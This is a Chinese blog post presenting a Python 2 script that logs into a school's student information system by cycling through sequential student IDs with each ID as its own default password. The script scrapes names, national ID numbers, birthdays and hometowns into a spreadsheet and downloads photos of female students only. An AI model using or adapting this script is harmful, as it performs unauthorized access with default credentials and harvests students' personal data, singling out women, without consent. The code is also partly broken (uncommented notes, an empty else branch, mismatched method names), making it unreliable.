使用Python爬取学校学生信息!(简单爬虫)

很久木有来写博文啦,发现学校的教务系统很多童鞋都木有修改初始密码,于是博主就想写试用python写一个爬虫小脚本,将木有修改初始密码的童鞋资料扒下来,然后嘿嘿嘿~~~通知他们修改!

鉴于写博文时未通知这些受害童鞋们,因此隐去关键信息。

首先为初始化方法__init__(self)

import urllib
import urllib2
import cookielib
import re
import xlwt
from xlrd import open_workbook
from xlutils.copy import copy
class STUPID:

    def __init__(self):
        self.c=0#用于后期记录在excel中行数
        self.loginurl='http://xxx.cn/xxx/xxx.asp'#登陆url
        self.infurl='http://xxx.cn/xxx/xxx/show.asp' #获取信息的url   
        #user-agent用于放在header中,伪装为浏览器
        self.user_agent='Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36'
        self.headers={
            'User-Agent':self.user_agent
            }#设置头
        #用于保存cookie
        cookie = cookielib.CookieJar()
        #用于输出send内容,dubug时使用
        httpHandler = urllib2.HTTPHandler(debuglevel=1)
        httpsHandler = urllib2.HTTPSHandler(debuglevel=1)
        self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie),httpHandler, httpsHandler)
        urllib2.install_opener(self.opener)

下面介绍login(self,k)方法

def login1(self,k): 
    user= str(123456789+k)#用户名为学号,为保护隐私,采用该输入,K位偏移量,这是由于学号采用递增方式排列
    passwd= str(123456789+k)#初始密码等于用户名
    #设置提交给服务器的数据
    postdata= urllib.urlencode({
        'user':user,
        'pass':passwd,
        'typeid':'2'})#typeid为用户种类        
    request=urllib2.Request(
        url=self.loginurl,
        data = postdata,
        headers=self.headers
    )
    result= self.opener.open(request)#登陆并获取返回内容
    return user#返回学号

登陆成功之后,由于cookie已存在并记录在签名定义的cookie中,因此可以直接访问信息页面,调用方法getInfPage(self)

def getInfPage(self):
    request=urllib2.Request(
        url=self.infurl,
        headers=self.headers
    )        
    result= self.opener.open(request)
    return result.read().decode('gbk')

读取的数据为html的文本,因此需要使用正则表达式对需要的内容进行抓取,调用方法readInf(self):

def readInf(self):
    page= self.getInfPage()#page为html内容
    inf=re.findall('([^].*?).*?(.*?)',page,re.S)

    return inf

按照规则匹配后数据将会存在list中并返回,此时调用writeinf(self,Items,user)方法讲信息写入excel

def writeinf(self,Items,user):
    if Items:#若item不为空,行数+1
        self.c = self.c+1
    else:
    #由于包里没有直接修改的方法,因此采用先复制再写的方法
    rb = open_workbook("inf.xls")#打开inf.xls文件
    wb= copy(rb)#复制内容
    s= wb.get_sheet(0)#获取第一张表

    i=0
    username =''
    x= unicode('女', "utf-8") 

    for item in Items:
        s.write(self.c,0,user)#第一列写入学号
        if i<3 :
            if i==0:
                username=item[1]#获取姓名,并写入第二列
            if i== 1 and item[1] == x:#若为女生,获取其照片
                self.saveImg(user,username)#此为保存图片方法,在下文介绍
                print 'save'

            s.write(self.c,i+1,item[1])#第三列写入性别,第四列写民族
        if i== 13:#
            s.write(self.c,6,item[1])#第七列写入毕业院校
        if i== 15:
            s.write(self.c,7,item[1])#第八列写入籍贯      
        if i== 17:
            s.write(self.c,8,item[1])#第九列为身份证号            
        else:
            if i == 4:
                s.write(self.c,4,item[0])第五列写生日
            if i == 8:
                s.write(self.c,5,item[0])第六列写政治面貌
        i= i+1
    wb.save('inf.xls')#保存xsl文件

介绍一下保存图片的方法saveImg(self,user,username):

def saveImg(self,user,username):
    imgUrl= 'http://xxx.cn/xxx/xxx/'+user+'.jpg'#图片url
    filename= 'img/'+username+'.jpg'#文件以名字命名
    u= urllib.urlopen(imgUrl)
    data= u.read()#读取图片
    f= open(filename,'wb')
    f.write(data)#保存图片
    f.close #关闭
    return True

最后运行即可

supid= STUPID()
k=1
for k in range(1,200) :
    user= supid.login(k)#由于学生人数在200以内,因此最高设置为200
    supid.writeinf(supid.readInf(),user)

然后就是耐心等待啦,时间有点长,准备再加个多线程~~~图片和信息我只是保存着玩哒,并不准备用来做羞羞的事情~大家也不要干坏事哟!

你可能感兴趣的:(python,python)